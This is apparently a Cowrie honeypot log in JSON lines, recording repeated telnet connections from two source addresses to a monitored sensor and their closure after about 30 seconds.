{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d80fe4569c2e","protocol":"telnet","message":"New connection: 208.115.200.90:49348 (10.17.0.5:23) [session: d80fe4569c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.216511Z"}
{"eventid":"cowrie.session.closed","duration":30.958179473876953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.228368Z","src_ip":"208.115.200.90","session":"09271029cdb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49394,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3b389a3849","protocol":"telnet","message":"New connection: 208.115.200.90:49394 (10.17.0.5:23) [session: 7f3b389a3849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.301538Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49406,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac63fa003e3","protocol":"telnet","message":"New connection: 208.115.200.90:49406 (10.17.0.5:23) [session: bac63fa003e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.335565Z"}
{"eventid":"cowrie.session.closed","duration":30.94506335258484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.341500Z","src_ip":"208.115.200.90","session":"fb2049d7f567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49416,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d40f668d90","protocol":"telnet","message":"New connection: 208.115.200.90:49416 (10.17.0.5:23) [session: 51d40f668d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.356118Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49468,"dst_ip":"10.17.0.5","dst_port":23,"session":"34899e57123f","protocol":"telnet","message":"New connection: 208.115.200.90:49468 (10.17.0.5:23) [session: 34899e57123f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.428735Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"7911a9cf019d","protocol":"telnet","message":"New connection: 208.115.200.90:49490 (10.17.0.5:23) [session: 7911a9cf019d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.458936Z"}
{"eventid":"cowrie.session.closed","duration":31.216423749923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.504439Z","src_ip":"208.115.200.90","session":"24f0c915305c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cbc192d2679","protocol":"telnet","message":"New connection: 208.115.200.90:49054 (10.17.0.5:23) [session: 9cbc192d2679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.522332Z"}
{"eventid":"cowrie.session.closed","duration":31.35067892074585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.577976Z","src_ip":"208.115.219.122","session":"3ba7213c74a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63915705680847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.816169Z","src_ip":"208.115.200.90","session":"4bace77ad88c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790806531906128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.023202Z","src_ip":"208.115.219.122","session":"09f2a8bde085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673228979110718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.051474Z","src_ip":"208.115.200.90","session":"6709a00180e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997641563415527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.121436Z","src_ip":"208.115.219.122","session":"4f50e27e9e36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573750495910645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.126869Z","src_ip":"208.115.200.90","session":"2957703bc371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49586,"dst_ip":"10.17.0.5","dst_port":23,"session":"134a6ce77d88","protocol":"telnet","message":"New connection: 208.115.200.90:49586 (10.17.0.5:23) [session: 134a6ce77d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.157981Z"}
{"eventid":"cowrie.session.closed","duration":30.56616234779358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.200454Z","src_ip":"208.115.200.90","session":"cb1a170dfb44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54276,"dst_ip":"10.17.0.5","dst_port":23,"session":"e50f50b7a35b","protocol":"telnet","message":"New connection: 208.115.219.122:54276 (10.17.0.5:23) [session: e50f50b7a35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.226357Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4d2b2dac558","protocol":"telnet","message":"New connection: 208.115.219.122:54292 (10.17.0.5:23) [session: e4d2b2dac558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.231475Z"}
{"eventid":"cowrie.session.closed","duration":30.57475519180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.331140Z","src_ip":"208.115.219.122","session":"ea6347c30b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36684,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7705541004","protocol":"telnet","message":"New connection: 208.115.219.122:36684 (10.17.0.5:23) [session: 0a7705541004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.356037Z"}
{"eventid":"cowrie.session.closed","duration":30.962088346481323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.401732Z","src_ip":"208.115.219.122","session":"f165164d97e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49598,"dst_ip":"10.17.0.5","dst_port":23,"session":"62c9b823aee9","protocol":"telnet","message":"New connection: 208.115.200.90:49598 (10.17.0.5:23) [session: 62c9b823aee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.442293Z"}
{"eventid":"cowrie.session.closed","duration":30.942834615707397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:17.448386Z","src_ip":"208.115.200.90","session":"8d40c5be17f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861982583999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.013065Z","src_ip":"208.115.219.122","session":"b3d1d6c558b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99823307991028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.037200Z","src_ip":"208.115.219.122","session":"d2687430996d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950400590896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.043298Z","src_ip":"208.115.219.122","session":"eafe66f43949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48924,"dst_ip":"10.17.0.5","dst_port":23,"session":"b46d05f7eecd","protocol":"telnet","message":"New connection: 208.115.200.90:48924 (10.17.0.5:23) [session: b46d05f7eecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.058351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49912,"dst_ip":"10.17.0.5","dst_port":23,"session":"2609b7740ecc","protocol":"telnet","message":"New connection: 208.115.200.90:49912 (10.17.0.5:23) [session: 2609b7740ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.130985Z"}
{"eventid":"cowrie.session.closed","duration":30.832177877426147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.164512Z","src_ip":"208.115.200.90","session":"4dc2731bfba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180684804916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.172095Z","src_ip":"208.115.200.90","session":"253ff3701f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87644624710083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.215277Z","src_ip":"208.115.200.90","session":"34155bb53702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54176,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ebee642e242","protocol":"telnet","message":"New connection: 208.115.219.122:54176 (10.17.0.5:23) [session: 1ebee642e242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.250050Z"}
{"eventid":"cowrie.session.closed","duration":30.945793867111206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.300782Z","src_ip":"208.115.200.90","session":"d0c2ca50d474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81584930419922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.328630Z","src_ip":"208.115.200.90","session":"ce87853b8739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78800392150879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.364986Z","src_ip":"208.115.200.90","session":"69c1bfd40dad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49922,"dst_ip":"10.17.0.5","dst_port":23,"session":"23378d683669","protocol":"telnet","message":"New connection: 208.115.200.90:49922 (10.17.0.5:23) [session: 23378d683669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.392314Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54472,"dst_ip":"10.17.0.5","dst_port":23,"session":"613c1e8ef379","protocol":"telnet","message":"New connection: 208.115.219.122:54472 (10.17.0.5:23) [session: 613c1e8ef379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.440312Z"}
{"eventid":"cowrie.session.closed","duration":30.727253675460815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.475513Z","src_ip":"208.115.200.90","session":"f5e5139bc056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50026,"dst_ip":"10.17.0.5","dst_port":23,"session":"59ca0d03a027","protocol":"telnet","message":"New connection: 208.115.200.90:50026 (10.17.0.5:23) [session: 59ca0d03a027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.570610Z"}
{"eventid":"cowrie.session.closed","duration":30.918588876724243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:18.620322Z","src_ip":"208.115.200.90","session":"591380ccb877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803008556365967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.015049Z","src_ip":"208.115.219.122","session":"e6d845aefe25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736660480499268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.022739Z","src_ip":"208.115.219.122","session":"0aeb1f383817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"3064c1be0f9a","protocol":"telnet","message":"New connection: 208.115.219.122:54250 (10.17.0.5:23) [session: 3064c1be0f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.047101Z"}
{"eventid":"cowrie.session.closed","duration":30.76672053337097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.065089Z","src_ip":"208.115.219.122","session":"5dbb2da86343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54552,"dst_ip":"10.17.0.5","dst_port":23,"session":"1915909c7635","protocol":"telnet","message":"New connection: 208.115.219.122:54552 (10.17.0.5:23) [session: 1915909c7635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.095291Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30630f4fc77","protocol":"telnet","message":"New connection: 208.115.200.90:50206 (10.17.0.5:23) [session: e30630f4fc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.150795Z"}
{"eventid":"cowrie.session.closed","duration":30.753469944000244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.182965Z","src_ip":"208.115.219.122","session":"e45e03426487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15828824043274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.201931Z","src_ip":"208.115.219.122","session":"f01a8b056016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50250,"dst_ip":"10.17.0.5","dst_port":23,"session":"29405a96b8e4","protocol":"telnet","message":"New connection: 208.115.200.90:50250 (10.17.0.5:23) [session: 29405a96b8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.315459Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49938,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dacd6b18b28","protocol":"telnet","message":"New connection: 208.115.200.90:49938 (10.17.0.5:23) [session: 9dacd6b18b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.466652Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50314,"dst_ip":"10.17.0.5","dst_port":23,"session":"86dd9aa072f4","protocol":"telnet","message":"New connection: 208.115.200.90:50314 (10.17.0.5:23) [session: 86dd9aa072f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.499296Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b0632b6aaa","protocol":"telnet","message":"New connection: 208.115.200.90:50440 (10.17.0.5:23) [session: e2b0632b6aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.594961Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54580,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc88af2c273","protocol":"telnet","message":"New connection: 208.115.219.122:54580 (10.17.0.5:23) [session: cdc88af2c273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.820211Z"}
{"eventid":"cowrie.session.closed","duration":31.5341579914093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.884496Z","src_ip":"208.115.219.122","session":"e5602c30cd65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.826842784881592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:19.932528Z","src_ip":"208.115.200.90","session":"374a2619c2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557255744934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.022479Z","src_ip":"208.115.200.90","session":"77e03b5862aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98043131828308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.068852Z","src_ip":"208.115.219.122","session":"0fa843629d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835273504257202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.083352Z","src_ip":"208.115.219.122","session":"b03012fef59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114501237869263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.261787Z","src_ip":"208.115.200.90","session":"b5527f420bf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54654,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2dc23963312","protocol":"telnet","message":"New connection: 208.115.219.122:54654 (10.17.0.5:23) [session: a2dc23963312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.305959Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ca43be6c4f","protocol":"telnet","message":"New connection: 208.115.200.90:50672 (10.17.0.5:23) [session: 43ca43be6c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.397708Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebf53399d71","protocol":"telnet","message":"New connection: 208.115.200.90:50718 (10.17.0.5:23) [session: 2ebf53399d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.462941Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50742,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9a3e751699","protocol":"telnet","message":"New connection: 208.115.200.90:50742 (10.17.0.5:23) [session: fa9a3e751699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.508119Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50748,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2d615eae5cf","protocol":"telnet","message":"New connection: 208.115.200.90:50748 (10.17.0.5:23) [session: f2d615eae5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.701795Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50812,"dst_ip":"10.17.0.5","dst_port":23,"session":"15a0278862ca","protocol":"telnet","message":"New connection: 208.115.200.90:50812 (10.17.0.5:23) [session: 15a0278862ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:20.903464Z"}
{"eventid":"cowrie.session.closed","duration":30.729493141174316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:21.020748Z","src_ip":"208.115.219.122","session":"538ded0ce8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30290460586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:21.133382Z","src_ip":"208.115.219.122","session":"12b12e5a8eae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50884,"dst_ip":"10.17.0.5","dst_port":23,"session":"0977d892dd7d","protocol":"telnet","message":"New connection: 208.115.200.90:50884 (10.17.0.5:23) [session: 0977d892dd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:21.241174Z"}
{"eventid":"cowrie.session.closed","duration":30.87682056427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:21.260981Z","src_ip":"208.115.200.90","session":"d648489e8445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070396661758423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:21.389466Z","src_ip":"208.115.200.90","session":"22c17e7413da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.656015872955322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:21.851038Z","src_ip":"208.115.200.90","session":"7698a80c93c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51364,"dst_ip":"10.17.0.5","dst_port":23,"session":"2987fb35cf42","protocol":"telnet","message":"New connection: 208.115.200.90:51364 (10.17.0.5:23) [session: 2987fb35cf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.018312Z"}
{"eventid":"cowrie.session.closed","duration":30.78660273551941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.035507Z","src_ip":"208.115.200.90","session":"5f325e0b57c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51370,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b11119cfee9","protocol":"telnet","message":"New connection: 208.115.200.90:51370 (10.17.0.5:23) [session: 4b11119cfee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.051458Z"}
{"eventid":"cowrie.session.closed","duration":30.961699962615967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.072480Z","src_ip":"208.115.219.122","session":"52380e98071c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54806,"dst_ip":"10.17.0.5","dst_port":23,"session":"462a85129283","protocol":"telnet","message":"New connection: 208.115.219.122:54806 (10.17.0.5:23) [session: 462a85129283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.129683Z"}
{"eventid":"cowrie.session.closed","duration":30.640883922576904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.138818Z","src_ip":"208.115.200.90","session":"ac981aaea08a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54832,"dst_ip":"10.17.0.5","dst_port":23,"session":"60305578e567","protocol":"telnet","message":"New connection: 208.115.219.122:54832 (10.17.0.5:23) [session: 60305578e567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.236288Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51458,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47e0fb19f79","protocol":"telnet","message":"New connection: 208.115.200.90:51458 (10.17.0.5:23) [session: a47e0fb19f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.264683Z"}
{"eventid":"cowrie.session.closed","duration":31.244727611541748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.273793Z","src_ip":"208.115.200.90","session":"40509768dabe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129065990447998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.287135Z","src_ip":"208.115.200.90","session":"a60de9090bee","protocol":"telnet"}
